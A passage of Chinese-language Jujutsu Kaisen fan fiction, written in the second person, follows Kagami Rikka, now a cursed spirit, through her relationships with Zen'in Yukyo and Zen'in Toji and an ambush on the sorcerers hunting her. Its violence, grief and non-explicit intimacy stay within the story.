傍晚时分,你们坐在后厦看夕阳,禅院佑京递给了你一个东西,就是他在那天晚上说想要送给你的。
那是一个随身听。
你其实没怎么用过这种东西,禅院佑京看起来也不常用,你们一起研究了下方法,总算成功把磁带播放出来。
这个场景大概有些怪。你们穿着和服,坐在样式古老的日式庭院里,共享着一个明显属于现代产物的随身听上的耳机。禅院佑京就像平安时代的病弱贵公子,和它的画风不太搭,你猜现在的你也一样。
不过你们都没有在意这些。
“佑京的生日……是在春天吗?”
“……为什么这么问?”
“因为,佑京给人的感觉,很像春天出生的孩子。”
你闭着眼,听着耳机里传来的歌声,身旁的禅院佑京沉默着,过了一会才说,“是在三月末。”
“看来我猜对了。”你露出开心的笑,转头看他,“要不要猜猜我的生日是在什么时候?”
“立夏。”禅院佑京答得毫不犹豫,他看着面露惊讶的你,脸上浮现出带着点得意的笑,“是在立夏。”
“我都忘了,我们以前认识嘛,所以你肯定知道。”加贺见立夏托着下巴,眼睫忽闪,禅院佑京发现自己也想触碰一下她的睫毛。
“我们以前……并没有很熟。”
“这样吗?”加贺见立夏看着他,很快又找到了理由,“看来是没有什么机会相互了解,不然早就成为朋友啦。”
不是这样的。
禅院佑京在这时才发现,加贺见立夏失去关于他的记忆,对他来说其实是一件很残忍的事。
她忘掉了所有关于他的往事,忘掉了他曾经给她带来的困扰和不愉快,只留他一个人记得那些。
“我以前……性格不太好,你不太喜欢。”禅院佑京慢慢地说出了在心里想了很久的话。
“欸?”加贺见立夏脸上露出一点惊讶。
与其说不喜欢,不如说从一开始就很讨厌他吧。他却完全相反。
“但是你还是救了我啊,所以佑京是个很好的人。佑京骨子里,其实一直很温柔吧。”
禅院佑京听到加贺见立夏对他的评价,眼眶阵阵发热。他想要克制住流泪的冲动,于是攥紧了拳头。
“好了,佑京,我们回屋子里吧。”
加贺见立夏拍了拍他的肩膀,站起身,禅院佑京的耳朵上突然传来一股扯力,就看到她一个踉跄,朝他扑了过来。
额头砰的相撞,禅院佑京眼前晕了晕,柔软温热的东西压在唇上,连带着她的气息,将他整个人扑倒在地。
她大概摔得有点懵,身体陷在他怀里,呼吸也纠缠着他,好一会才折腾着起身,罪魁祸首的耳机线从她身上掉下来,砸在他胸口。
禅院佑京听见自己咚咚的心跳,加贺见立夏的手撑在他身上,没有说话。
他的目光忍不住落在她的唇上,那里的颜色让他想起了春日的樱花,什么都不用涂抹,就已经很好看。
加贺见立夏的手指轻轻收紧,禅院佑京抬眼,对上她犹豫的目光,接下来的事像被人按了慢速播放,禅院佑京看着她朝自己靠近,将柔软的唇瓣轻轻贴在了他的唇上。
这一次不是意外。
你轻轻吻着禅院佑京的唇,很清楚自己在做什么。
原来和别人接吻是这样的感觉吗?
你突然感到很难过,无法控制地流泪,禅院佑京察觉到你的泪水,想看看你怎么了,你制止了他的动作,更加用力地压住了他。
你被一股力抓着肩膀猛地从地上拽起来,你知道这是谁。他把你扛在了肩上,你没有反抗,任由他把你从这里带走。
你被扔到了一张床上,因为刚刚持续性头朝下,你的脑袋有些发晕,还有点恶心。你自暴自弃地蜷缩起来,身边好半天都没有动静。
你忍着难受,抬起头看了看,发现禅院甚尔就站在床边看着你。
“甚尔。”你嗫嚅着。
“我不明白,你为什么要折磨我?”禅院甚尔在床边蹲下来,眼睛里全是泪,你很少看到他这个样子,下意识的抬手帮他擦拭,他握住了你的手。
“立夏,明明是你先来招惹我的。”
禅院甚尔的头发有些乱,脸色也很不好,像是整夜整夜的失眠。你朝他靠近了些,捧住他的脸,那些温热的液体迅速沾湿了你的指尖。
“我不想离开你。”你看着他的脸,眼泪不断地往外涌,“我真不想离开你,为什么时间不能停在那个时候呢?为什么它要一直往前走?”
“我讨厌这个世界,我那么努力的想要改变它,我做了那么多关于未来的计划,可它还是要带走我。它把什么都毁了,它还想毁了你。我不允许——你是我好不容易才找到的,我的宝物。”
你死死地盯着禅院甚尔,拽着他的脖子把他拉向你,“凭什么啊!凭什么我要被留下来——我真的……”
你止不住的抽噎。
“我真的想和你一起长大,想和你一起生活,想一直一直陪在你身边。可是为什么,为什么我只能留在那个夏天,为什么我只能放开你,不公平,甚尔,这不公平,为什么会有这么不公平的事……”
你被他紧紧地抱进了怀里,你的眼泪全部擦在了他的胸口,你浑身颤抖,用力抓着他的胳膊。
“我们的故事,还没有开始,就已经结束了。我拼尽全力才回到这里,我真的不甘心,我不甘心就这样放弃,哪怕只有一丝机会,我也要让它们……付出代价。”
你的嘴唇发抖,禅院甚尔抓着你的脖颈,让你抬起头,然后他低头咬住了你的唇瓣。你被他安抚着,情绪很慢很慢地缓和下来。
“你想做什么?”
“我要拉着整个咒术界,陪我下地狱。”
你完全冷静下来,注视着禅院甚尔的眼睛,那是你一直以来都眷恋着的温柔的绿色。
你闭了闭眼,将自己缩进他的怀里,“但是,我也要你好好活下去,无论……我是否在你身边。”
*
你在清醒之后才意识到自己干了什么。
你竟然说漏嘴了。
你不应该告诉任何人的。
但是在你醒来之后禅院甚尔再一次问起你,你不得不告诉了他一些信息,条件是他不能阻止你。
你知道自己这样做真的很过分,但是你不允许有任何人破坏你的计划,谁都不行 。
“我会帮你。”
你没想到禅院甚尔会答应得这么爽快。而他只是看着你,轻轻抚摸着你的头发,“如果你说的都是真的……”
居然还是怀疑你在骗他吗?你不爽地看回去。
“能在六年后再一次见到你,我很高兴。”
你回忆了一下和伏黑甚尔的第一次见面,原来他当时那种不耐烦的表情就是“高兴”的意思呀。你顿时更不爽了。
“怎么是这个表情,六年后的我很糟糕吗?”
“倒也没有……”失忆的状态下依然喜欢上的人,怎么能算是糟糕。
“我的儿子……长得很像我?”
禅院甚尔拧着眉,似乎很难想象到那个场景,你笑出来,戳着他的脸,“跟你小时候一模一样啊。”
“那,我的,嗯……”禅院甚尔有点结巴,你顿时知道了他想问什么,你收起笑容,面无表情地看着他。
“你确定要在这种时候跟我打听你未来的老婆吗?你真的很过分哎。”
“我不问了,对不起。”他把你抱进怀里。
“算了,我又不是很介意。”你看着他的
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脖子,轻轻吸了口气,“毕竟你已经干了那么多对不起我的事情了。”
禅院甚尔的身体有片刻的僵硬,你没有管他的纠结,恶狠狠地磨牙,“可恶,我也很想包.养你的。”
禅院甚尔没有说话,他的手掌贴着你的脖子轻轻抚摸,你等了一会,不耐烦地抬起头,“想做什么就赶紧做啊,笨蛋!”
你发现了伏黑甚尔和禅院甚尔最大的不同,伏黑甚尔懂得克制,而禅院甚尔不会。
你觉得很丢脸,因为你哭得太厉害了。明明不是毫无经验,结果还是控制不住。
你有点想念伏黑甚尔,你在这时候才发现他到底有多体贴。禅院甚尔完全是一副打算把你整个拆掉的架势,他到底知不知道,就算咒灵会自我修复,也是会坏掉的呀。
“立夏,立夏……”
你完全不想搭理禅院甚尔。
你原本想稍微安抚他一下就继续执行计划,结果他丝毫不知节制。
你和他待在屋子里,过得昏天黑地,好不容易有一回,你醒来的时候没看见他,想去冲个澡清醒一下,一下床就摔在地上,半天没力气爬起来。
实在是太可恶了。
“不要再吵了,让我休息一会——”
你捂着耳朵把脸埋进被子里,禅院甚尔从身后紧紧抱住你,下巴压在你的头顶继续小声地喊你的名字,好像得不到你的回应就不罢休。
你至今也没有搞明白曾经那么闷骚的一个人怎么变成了现在这副不要脸的样子。果然都是禅院家的错吧!
你的头都开始痛了。你摸到他的手,抓到嘴边狠狠地咬上去。
禅院甚尔终于闭嘴了。
你咬得非常用力,还是什么印子都没有留下,天与咒缚的体质在这点上让你非常嫉妒 。
“我们在这边待了几天?”
“不记得了。”
“禅院甚尔——”
“三四天吧。”
你算了算日期,立刻就坐起来,把禅院甚尔的手臂从身上摘下去,“换衣服出门,不能再耽搁了。”
禅院甚尔坐起身重新搂住你,他迎着你瞪视的目光,一脸的理所当然,“出门之前不是要先去洗澡吗?”
道理是这样没错。可是你觉得你们不应该一起洗。
大概是太久没有活动,你今晚在吞噬咒灵时有点消化不良。
前段时间为了迅速增长咒力,你每次出门都会主动去寻找级别较高的咒灵,用原形吞噬。
随着三叶的意识与你的逐渐融合,你在使用术式时越发得心应手,但还远远不够,所以你还拜托了九十九由基帮你寻找一些咒物。
再然后计划就被禅院甚尔打断了。
不过问题不大。
“呕。”你生无可恋地扶着墙,其实你什么都吐不出来,所有的东西都在发动术式的瞬间被黑雾融掉了。
“就不能不吃这种东西吗?”
禅院甚尔抓着一只拼命挣扎的咒灵,走到你身旁,眉头紧紧的拧起来。
“当然不行啦,本来有咒力的东西就那么几样,总不能去杀咒术师。”
你看禅院甚尔的表情,发现他竟然真的在思考这件事的可能性,抬手戳了戳他的脸让他回神,“这种事跟你接单子可不一样哦,就算你把人带过来,我也不会去吃的……稍微有点恶心。”
“好吧。”禅院甚尔脸上露出厌恶的表情,大概是想象了一下那个画面。
他把手里的咒灵递给你,你在他面前变成黑雾状,将那个吵的不行的东西直接盖住,声音瞬间消失。
你没有立刻变回人类的形态,继续以雾状飘到他身边,绕着他转了转。
“再去找一点?”
禅院甚尔伸手勾着雾里面的黑线扯了扯,每当他这样做的时候你就会有种过电的感觉,你把那根线从他手里抽出来,线头在他脑门上轻轻弹了一下。
“走吧。”
禅院甚尔露出笑,你绕到他身后变回人形,他顺势托住你,让你稳稳地趴到了他的背上。
29. 九个春日
禅院佑京坐在窗前,看着院子里的仆人们,他们跟着他从禅院家千里迢迢来到这里,会在他死后重新回到那个地方。
在禅院佑京的记忆里,这些人的面容都很模糊,他们就像随处可见的影子,永远安静,没有存在感。
这些人是禅院家的财产,从出生到死,都属于禅院家。就像他一样。他的一切都由禅院家给予,如果除去这个姓氏,他就什么都不是。
然而这个事实,禅院佑京直到十八岁才发现。
他似乎生来就是嫡子,所有人都告诉他,他是一个天才,他注定要继承禅院家,成为这个古老的术师家族的下一任家主。
那些人脸上的笑容是那么的真实,他们围着他,说着让他高兴的话,于是他也坚信,这就是事实。
他记得小时候去放风筝,摔倒在地上,他的母亲扶起他,拍拍他身上的尘土,对他说,“不要哭,你是禅院家的嫡子,所以不可以哭。”
他的父亲看着他,哈哈大笑着摸他的头。他躲开了父亲的手,擦干了眼泪,告诉自己,我是嫡子,不可以哭。
后来他就变成了那副嚣张跋扈无法无天的样子。没有人会忤逆他,除了禅院甚尔。每当禅院佑京试图挑衅他,都会被他按在地上狠狠地揍一顿。
禅院甚尔那个家伙,明明一丁点咒力都没有,明明被所有人排挤,却还整天一副满不在乎的表情。
禅院佑京很讨厌看到那张脸,他想尽办法让禅院甚尔从禅院家消失,差一点点就成功了。
如今的禅院佑京已经无法确定当初的自己究竟是抱着人类最纯粹的恶意,还是仅仅将它当成一个恶作剧。
那次的事件比以往还要恶劣,但是身为嫡子,禅院佑京没有受到任何惩罚,只是被迫躺在床上养了半个月的伤。
那段时间,他无聊得要命,听着仆人们讲一些快要翻烂了的御三家的旧事,然后在某一天突然听见了加贺见立夏的名字。
仆人们说,禅院甚尔从咒灵那里救下了加贺见家的大小姐。他们又说,加贺见家的大小姐不知道为什么住进了禅院家,整天追着禅院甚尔。
禅院甚尔不仅没有死在那次的事件里,还遇见了加贺见立夏。这是禅院佑京无论在何时想起,都觉得难以接受的事。
禅院佑京原本只是有点好奇,加贺见立夏是个什么样的人,才能受得了禅院甚尔那张臭脸。但他很快又从叔伯们口中再次听到了她的名字,他们问他的父亲,是否会考虑和加贺见家联姻。
这种事对禅院家的人来说并不新鲜,禅院佑京从小就知道,他将来会娶一个御三家中咒术出色的女子,延续禅院家的血脉和术式。加贺见家虽然不是术师家族,但是祖上属于加茂家的分支,并且,加贺见立夏能够看见咒灵。
他的父亲没有给出明确的答复,禅院佑京却从听到这个消息起就坐立难安,他迫不及待的想要养好伤,去看看那个将来或许会成为他妻子的人。
然而他们的见面和他期待的并不相同。加贺见立夏如同传言中那样只在意禅院甚尔的消息,对他的示好视而不见。
禅院佑京在加贺见立夏那里一次又一次的碰壁,几乎把他从小到大没怎么受过的挫折一次性补完。
他终于忍不住问身边的仆人,作为嫡子,想要的东西就一定可以得到吗?为什么那个混蛋总是比我快一步呢?
仆人一如既往的沉默,禅院佑京也没有指望得到什么回答,他在发完牢骚后告诉自己,他是禅院家的嫡子,他注定得到一切。
禅院佑京轻轻吸了口气,从回忆里短暂的抽离。院子里的仆人们蹲在地上,他们在种植一批郁金香,顺利的话,最早能在明年三月开放。
但是很可惜,他等不到那个时候了。
手炉渐渐失去了温度,禅院佑京将它放到矮桌上,目光不可避免的扫过了那里放着的另一个东西,加贺见立夏没有带走的随身听。
那个傍晚发生的事比起真实,更像是他臆想出来的。
他不知道加贺见立夏在亲吻自己时带有几分真心,就像他同样不知道加贺见立夏究竟是完全出于同情与愧疚,还是至少有一丝发自内心的担忧,才选择了留下。
但她的确曾为我停留。禅院佑京心想。
这就够了。
禅院佑京攥住手,把目光从那台随身听上移开。
被吻过的嘴唇仿佛还残留着她的温度,可她已经不在了,她又一次被禅院甚尔从他面前带走。她在那种时候从来都不反抗,不像在他面前,永远保持距离。
“佑京君……”
“佑京……”
为什么要回来呢。
他原本应该拥抱着那些永无止境的苦痛下地狱,却在临死前短暂的得到了一点甜头,而她又一次抽身离开,那些甜就会混入回忆的苦涩里,一道成为他此生的梦魇。
禅院佑京努力地放松自己,将后背靠在椅子上,他的鼻尖仿佛又触碰到了那一晚的血腥气与焦糊味,他痛苦地闭上眼,额头冒出冷汗,手掌紧紧地抓住了轮椅的扶手。
最初送她离开时,他明明那么开心。无论禅院甚尔如何逼问,他也不肯说出真相。
他觉得自己从来没有那么畅快过,他拼命地咧嘴,说,她已经死了,你问再多次,也是这个结果。禅院甚尔,她已经死了!
禅院佑京知道自己不是一个大家族合格的继承人,因为他做事从来都不计后果。他从小到大都这样做,终于在十八岁那年,为此付出了代价。
他从废墟里,从禅院甚尔的手中,被闻讯赶来的禅院家的人救下。他伤得太重,奄奄一息,尽管被全力救治,依然昏迷了一个多月。就在这短短的一个多月,一切都变了。
禅院佑京最先从自己的某个堂弟口中得知了自己不再是嫡子的事实。那个人脸上带着毫不掩饰的讥讽嘲笑,仿佛专程来落井下石。禅院佑京紧绷着脸,让他快滚。
但那个人只是个开始,每一天每一时,每分每秒,那些声音充斥着他的耳朵,只要他还有意识,就总能看到那些带着恶意的脸,他们围着他笑,那些笑容令他浑身发寒,让他不禁怀疑起自己从小到大生活着的究竟是个什么地方。
他没办法逃避。他的腿自他醒来后就失去了知觉,他不能控制它们,却持续性地感觉到深入骨髓的痛。他只能躺在床上,用力咬着牙,手指剜着身下的床板,试图用别处的疼痛来掩盖它们。
他很快将自己剜得指甲翻开,鲜血淋漓,禅院家的人为了不让他继续自残,将他绑在了床上。他挣脱不开绳子,只能瞪着天花板,等着那一波一波快要折磨得他发疯的痛意过去。
但它们不会过去。
他的身上没有一块完好的地方,几乎被绷带缠得只剩下眼睛鼻子和嘴,他不断地昏迷,不断地苏醒,快要忘掉究竟发生了什么事,他的脑子里大多数时间是一片空白,偶尔清醒些,就只剩下无穷无尽的恨。
禅院佑京没办法回忆那段时间发生的事,那段时间的他憎恨着所有,所有造成他现状的人,包括那个愚蠢又自大的自己。
“那种恶心的垃圾有什么好看的,你长大了可不要成为他那样。”
“我怎么可能会变成那样,我可是嫡子!”
禅院佑京过了很久才想起来那个稚嫩的声音,大概是他那个同父异母的弟弟,在他被禅院家放弃之后,成为了禅院家新的继承人。
这样大的一个家族,永远不缺新鲜血脉。他所拥有的一切都来自禅院家,自然也能被轻松收回。
禅院佑京几乎感受不到身上的痛,他已经习惯了这种感觉,只有无法移动的腿,提醒着他一切都回不去了。
除此以外,还有另一件事,或许才是他被放弃的真正原因——他失去了术式。
他或许能期盼着有生之年遇上一位会反转术式的咒术师,治好身上的伤,却绝无可能阻止咒力的流失。
禅院家的人找不到原因,但禅院佑京隐隐能感觉到,这是因为他在将加贺
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见立夏推往那个世界时,短暂的,触碰到了它。
那种存在在他身上造成了一个无法看见的缺口,从那一天起,他就只能眼睁睁地看着作为咒术师赖以生存的东西源源不断地从体内流走。不会产生痛觉,却无时无刻不在发生。
他在逐渐变成一个普通人。这种认知比肉.体的疼痛更能使他崩溃。
恨意过后,是疯狂的后悔。
那一天的喜悦早已被消磨殆尽,他的骄傲、自信,他曾经拥有过的一切,都在这片看不见尽头的黑暗中被碾压粉碎。他想不起来自己那样做的原因,他不明白自己付出了这样惨痛的代价后,究竟得到了什么。
如果,这一切都没有发生就好了。
如果,从来没有遇见过她就好了。
如果,……
当禅院佑京的身体终于稍微恢复些,他在某一个春日见到了禅院甚尔。
之所以能记得是个春日,是因为种在院落里的郁金香已经半数开放。那些颜色鲜艳的花朵在他的母亲死后被他移栽到自己的院子里,他告诉自己这不是软弱,而是身为嫡子的权力,他可以做任何自己想做的事,而不用告诉别人理由。
禅院佑京没有在第一时间认出禅院甚尔,距离他们的上一次见面或许并没有过去多久,但在禅院佑京的感知里,就像过去了一辈子那么漫长。
他的身体比他先一步回忆起了那天的痛觉,让他整个人在椅子上发抖,但他决不能在这个人面前示弱,一次都不能。
“你来做什么?”
他等着禅院甚尔说些落井下石的话,或者重复问他那个问题,但禅院甚尔只是拢着衣袖站在距离他十步远的位置,看了他一会,就转身走了。
在那之后,禅院佑京听说禅院甚尔离开了禅院家。禅院甚尔做任何事也不需要告诉别人理由,哪怕他只是个禅院家的吊车尾。
禅院佑京被留在春意渐浓的院落,他从来没有哪一次觉得这个季节是这么的难熬,比寒冷的冬季更加令他难以忍受。他熬过了一整个冬天,熬过了最艰难的那段时日,却想要在春天死去。
他控制不住这种想法,每时每刻都在质问着自己,为什么还活着?他早该死在人生中最畅快的那一天,或者更早些,让在他尚未长成时就为自己的任性付出代价。
最该从禅院家消失的人,是他自己。
他的父亲处理完被他整出来的那堆烂摊子,过来找他。那个人还是一如既往的喜欢喝酒,浓烈的酒气和郁金香的气味混在一起,呛得他想要咳嗽。
他的父亲靠在窗前,看着院落里的那堆花,说,小子,离开这里吧。
禅院佑京不知道自己可以去哪里,但禅院家不需要一个没有术式的可怜虫,他之所以没有被直接赶走,不过是因为他是家主的儿子。
他沉默地接受了所有的安排,他在这段时间里唯一学会的事,就是保持沉默,把自己当做一个可有可无的人就好。仆人们有条不紊地搬运着行李,他安静地看着这一切。
真正离开的那天他竟然感觉到了久违的轻松,仿佛仅仅只是走出禅院家的大门,就已经迎来了新的人生。但那种雀跃同样转瞬即逝,禅院佑京看着逐渐远去的高大楼宇,看着那个他自小长大,曾经以为自己拥有着的地方,很清楚的知道,他将永远不会回来。
禅院佑京能感觉到自己陷在梦里,因为他已经很久很久,没有想起过以前的事。他的梦长久的停在拉着加贺见立夏逃亡的那天,仿佛他的人生也定格在了那里。
往前是快乐,往后是痛苦,与她重逢的这些时日,他分不清哪一样更多。
他听到一些似有似无的歌声,那是他在来到这里的路上,无意间听见的一首歌。他买下了歌曲磁带和一台随身听,却发现自己没有办法去听它。
他曾经以为自己再也不会打开那台随身听。
春天已经结束了,春天不会再到来。他失去了那个年少的自己,也失去了那个想要送礼物的人。
30. 十次狩猎
你和禅院甚尔抓了很多只咒灵,勉强补上这几天落下的进度后,他带着你回到了禅院佑京那里。作为你的计划中最关键的人物,你决不允许禅院佑京在此之前发生任何意外。
你们抵达时已经月上中天,禅院佑京的房门紧闭。你从禅院甚尔背上跳下来,轻手轻脚地推开半扇门进到屋子里。
咒灵的夜视能力还不错,你一眼就看到了陷在被子里的禅院佑京,走近之后你发现他又一次梦魇了。
他应该是梦见了很不好的事,眉头紧蹙,眼珠在眼皮底下快速颤动,额头上全是汗,表情扭曲,但是牙齿咬得很死,没有发出一丁点声音。
每当你看到他这副样子,都会非常难受。
你蹲在他身旁帮他擦了擦汗,将掌心贴在他的脸上,试图用术式帮他度过这个噩梦。他的表情总算缓和了些,呼吸也逐渐平静,但是仍然皱着眉。
就算拿走最强烈的情绪,梦里也是不快乐的吗?距离天亮还有一段时间,你不太想直接把他喊醒,在屋子里看了看,发现了放在窗边的随身听。
“这是什么?”
禅院甚尔悄无声息地跟在你身后,你朝他竖起食指轻轻嘘了声,在禅院佑京身边蹲下来,打开缠绕在随身听上的耳机线,调整了一下音量,然后将耳机小心地放进他的耳朵里。
如果你唱歌的音调能再准一点,你或许会考虑自己来,但是现在只能靠这个。你帮禅院佑京拢了拢头发,重新掖好被角,就这么坐在地上看着他。
“可以出去了吗?”
禅院甚尔从背后拥住你,下巴搭在你的肩上,声音听起来有点郁闷。
“再等等吧。”
你抬手摸了摸他的头发,那些细软的发丝带着些许的体温,穿过你的指缝,像是在抚摸着一只大型犬,手感很好。
禅院甚尔被你摸了几下,抓着你的手慢慢扣住你的手指按在地板上,侧头一下下的吻起了你的脖子。
他在做这些的时候你正认真地梳理自己的计划,没有管他,直到耳根被舔到,你才哆嗦着回过神。
“别闹了。”你侧头躲了躲。
禅院甚尔收紧了胳膊,像是仗着你不敢发出太大的声音,变本加厉地贴过来在你的耳朵上轻咬。
“你可真是……”
禅院甚尔表现得太过粘人,让你从现在就开始忧愁了。
禅院佑京醒来时看到你们,显得很意外,似乎想问你为什么回来,又抿着唇忍了回去。
“你忘了我们的约定吗?”你主动和他提起。
“没有。”禅院佑京立刻反驳了你,看了眼你身旁的禅院甚尔,目光又落回你的脸上,“我只是……”
你听到身边的禅院甚尔轻轻啧了声,你转头戳了戳他,“甚尔,去帮忙看看早饭准备得怎么样了吧。”
禅院甚尔和你对视了两三秒,凑上来在你的嘴巴上用力啃了一口,才摸了摸你的脸起身走了。
“抱歉,他有些不太注意。”你捂着发痛的嘴唇,不太好意思地看着禅院佑京。
“没关系。”禅院佑京别开了视线,看向窗外,你注意到他搭在被子上的手指稍稍收紧了些。
“那天的事,对不起。”
他没有再说那句“没关系”。
你等了一会,听到他问你,“你喜欢……我送你的随身听吗?”
“我很喜欢。”
“嗯。”
他终于回过头来看你,翘了翘唇角。你看着这样的禅院佑京,忽然很想知道曾经那个“性格不好”的他究竟是什么样子。
“我一直想问,把我送去那个世界,你需要付出什么代价呢?”
“佑京不用为我担心,是我绝对付得起的代价。”
你知道他并没有相信你说的话。你将他的手轻轻地握在掌心,“你只要答应我,这段时间好好照顾自己,不要再生病了。”
“我的身体我自己清楚。”禅院佑京闭了闭眼,第一次反握住你的手,认真地看着你,“足够了,立夏,和禅院甚尔一起离开吧,我不需要你再为我做别的。”
“不行哦,佑京。”你没有丝毫犹豫地拒绝了他,你在他深黑的眼瞳中里看到了自己微笑的脸,“我已经给过你选择的机会了。”
*
出发看红叶的那天,是个秋高气爽的好天气,你从早上就情绪高涨,几乎是一蹦一跳地走在山间小路上。
禅院甚尔背着禅院佑京走在你身旁,当你开始无意识地哼歌,他终于忍不住问你,“真的有这么开心吗?”
“嗯?”你看了看他们,后知后觉地抿嘴笑了一下,“抱歉抱歉,我都没有意识到自己在唱歌呢。我是真的很开心哦,你们不觉得这里很漂亮吗?”
“……嗯,的确很美。”禅院佑京看样子以前不知道你唱歌跑调的事,但他很快就调整过来,露出了一贯的温和笑意。
禅院甚尔哼了声。
你没有搭理他,小跑着到了前面,朝他们招招手,“趁着还早,我们往更里面走走吧,听说这里有一大片火山湖哦。”
你们走得不算快,途中遇到一些热情的游客,他们把禅院甚尔当成了背着弟弟出门玩的哥哥,好心地问需不需要帮忙拍照,被禅院甚尔黑着脸拒绝了。
你在一旁笑出了声。
过了一段路,你们又遇到了一对情侣,男生有着一头晚樱般的粉发,女生的紫发编成一束搭在肩前,你莫名觉得这个发型有点危险。他们都有着漂亮的绿眼睛,让你一下子就萌生了好感。
他们注意到了你们,主动地走过来问需不需要帮忙,禅院甚尔刚打算拒绝,被你扯了扯衣服。
“拍一张吧,难得一起出门呢。”
于是禅院甚尔背着禅院佑京勉为其难地站到一棵枫树下,拍了一张合照。你蹲在那对情侣旁边看照片的效果,听到男生小声地抱怨了一句这个当哥哥的怎么都不笑一下。
最后那张拍立得被禅院佑京收了起来,他似乎对咒灵无法留下影像这件事仍有遗憾,你倒是已经习惯了。
正午时分你们抵达了火山湖附近,那片平静的湖泊像一块镶嵌在山间的翡翠,更远些的地方是云雾缭绕的青色山脉,你们没有继续靠近,远远地眺望了一会。
“冬天的时候再来这里一趟吧。”
你转头看着突然出声的禅院甚尔,对他露出一个笑,“好啊。”
后半程你们避开了游客,向着人迹罕至,枫叶也愈发红艳的深山中去。
禅院佑京的身体其实不适合长时间待在户外,你们出门前给他多裹了几层厚衣服,到了傍晚他还是咳嗽起来。
你摸了摸他的额头,确认他目前还没有发热,稍稍松了口气,对禅院甚尔说,“就在这里吧。”
你们停在这片深红的枫叶林,禅院甚尔在其中一棵枫树的树根处把禅院佑京放下,对你伸出了手。
“他们已经跟上来了吗?”
禅院甚尔点点头。
你尚未察觉到异样,果然你在侦查方面还是比不过他。你从袖子里取出他常用的咒具递过去,“祝你旗开得胜!”
一眨眼的功夫,禅院甚尔就消失在了你眼前,侧后方的树林里几乎是同时传来了打斗声。
你在有点没能进入状态的禅院佑京身边坐下,轻松地笑了笑,“只是一些杂鱼,甚尔会很快解决掉的。”
“是……抓捕你的咒术师?!”禅院佑京迅速反应过来,一把抓住了你的手腕,“你们故意到这个地方,是为了——”
“当然是要一网打尽啦。”你露出一个过分灿烂的笑容,感觉身体已经激动得快要发抖了,你努力克制住自己的兴奋,反握住禅院佑京的手腕,“不过在那之前,先送你离开吧,佑京。”
“等等!”禅院佑京大概没想到会这么快,你正要开口,突然感觉到了一阵令人不爽的拉扯感。
“啊,看来要再等等了,时间果然不够。”你撇了撇嘴,在袖子里翻找一通,拿出一个咒具啪的拍进树干,“待在这里不要走动哦,不要离开这棵树一米的距离,我很快就回来。”
“等一下,立夏——”
你挣脱开禅院佑京的手,没有管
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身后的呼喊,朝着拉扯感传来的方向飞速奔去,你的嘴角无法抑制地上扬,全身的血液都像是要沸腾起来。
在日本,秋天赏红叶又叫[红叶狩],虽然你在了解故事背景后仍然没能理解这种说法的逻辑,但是你此刻觉得,用这个词再合适不过了——这的确是一场狩猎,咒术师们狩猎你,你同样也在狩猎他们。
“那个就是用来抓捕我的咒具吗?长得可真不起眼呐。”
背对着你的咒术师显然没有料到你会这么快出现,依靠本能反应躲过了,你只触碰到了他的衣角,那半边衣袖瞬间消失在了空气里。
你刚一落地,那些咒术师就从四面八方围过来,你看着他们凝重的表情,扯出一个五条悟式的笑容,“御三家就剩你们这点人手了吗,真寒酸。”
他们没有理会你的嘲讽,配合默契地展开了攻势。说实话,你真的很不擅长打架,尤其是一对四。那把需要格外注意的咒具外观像一把伞,握在场中唯一的一级咒术师手上。
根据禅院直毘人告诉你的“他所知的全部信息”,那把咒具名为[鬼面],是加茂家的祖传咒具,几乎没有被使用过,因为它只有一个功能,就是狩猎三叶。
咒术界的高层想要获得三叶,则是因为“不死病”。据说三叶曾是千年前某位加茂家主的伴生咒灵,那位家主活到了将近三百岁仍保持着青年模样,而后不知所踪。于是那群人异想天开,认为三叶能让他们从衰亡的结局中摆脱。
“这么不想看到自己满脸皱纹的样子,不如我现在就送你们上路!”
你在他们围攻上来的瞬间变回了本体,浓重的黑雾遮天蔽日,在这些日子的喂养下散发出极度不详的气息,两名咒术师来不及躲开,连惨叫声都没能发出,就被卷入其中,还有一名被吞噬掉了半个身体,挣扎着往外爬,被追上来的雾气再次吞没。
场中唯一剩下的那名咒术师只在最开始被你消融掉了一只衣袖,他的反应很快,下一瞬,你就“看见”了那把伞的全貌——
撑开的伞面绘着赤红的鬼脸,那样鲜艳的红让你想起夕阳下的红叶林,但你知道那不是颜料,而是加茂的血。
加茂家的祖传术式与血液有关,依照三叶与那位家主定下的束缚,它会选择加茂的后裔作为宿主,而这把专门用来捕获它的咒具则融入了历代家主的血。
你变回了人形。对方满脸震惊地看着你朝他走去,似乎不明白为什么咒具没有起作用。
这当然是因为立夏的躯体被三叶吞噬后留在那个世界了啊!
不,并不是完全没用。
你从对方的手中夺走了鬼面,在握上伞柄的那一刻,感觉到了喉间的灼痛。
“只剩这么点联系,都能感应到吗?”
你摸了摸脖子,那道曾经造成了意识分离的横断伤再次出现在了这具咒力凝聚成的躯体上,不断地往外冒血。
“我劝你不要逃跑。”
你一把掐住了面前这位咒术师的脖子,手上沾着的血液触碰到他的皮肤,霎时一股灼烫感在体内炸开,全身的血液喷溅式地从脖颈的伤口涌出。
“原来如此,你是加茂家的术师,难怪他们才派了这么几个人。”
“你……你不可能杀我,我是这一代的家主!”
你差点笑出声。
“这位大叔,三叶确实没办法杀你,但是我可以!”
你把一堆乱七八糟的咒具放在了三叶的本体里,眼下也不用维持形象,直接将半个手臂化成雾状,抓出一把刀刺向他的脖子。
刀尖扎进去一厘米后,被迫停止了。
好嘛,那点没能完全融合的意识又开始阻挠你。你在翻看过三叶的记忆后,对这个咒灵不屈不饶的性子有了十足的了解,但是它越这样固执,你越想和它死磕到底。你用力握着刀往下扎。
“我的孩子,还没有出生……”
“你看我像是那种会有恻隐之心的人吗?”
“我可以和你定下束缚!”
“说说看。”这个加茂家主虽然咒术不太行,人还挺上道。
31.十一棵树
禅院佑京的手碰到了一层坚固的东西。是帐?不,和加贺见立夏拍到树上的咒具有关。
他转头去看,那是个长条状的物体,露出来的部分形状非常规整,大约在他头顶二十厘米的位置。
禅院佑京伸手去够,试图将它从树上拔出来,他摸到上面有一些凹痕,这似乎是一把尺子。它扎得极深,他用了很大的力气,依然没办法移动半分。
“不要白费力气了。”
禅院佑京满脸的汗,看着出现在他面前的禅院直毘人,他松开一只手,努力平缓呼吸,“你也是来抓她的吗?”
“我来看着你,小丫头有她自己的打算。”禅院直毘人在地上坐下,伸手敲了敲禅院佑京面前那层看不见的空气墙,“这东西一般人打不破,你在这里好好待着就行。”
“不用看我,去帮她!”禅院佑京用力捶在了那层阻隔上,他看着眼前气定神闲的禅院直毘人,汗水再度从额头上滚落,“你们不可以这样对她,她会……她会……”
“为什么不试着相信她呢?她不需要你的保护,佑京。”
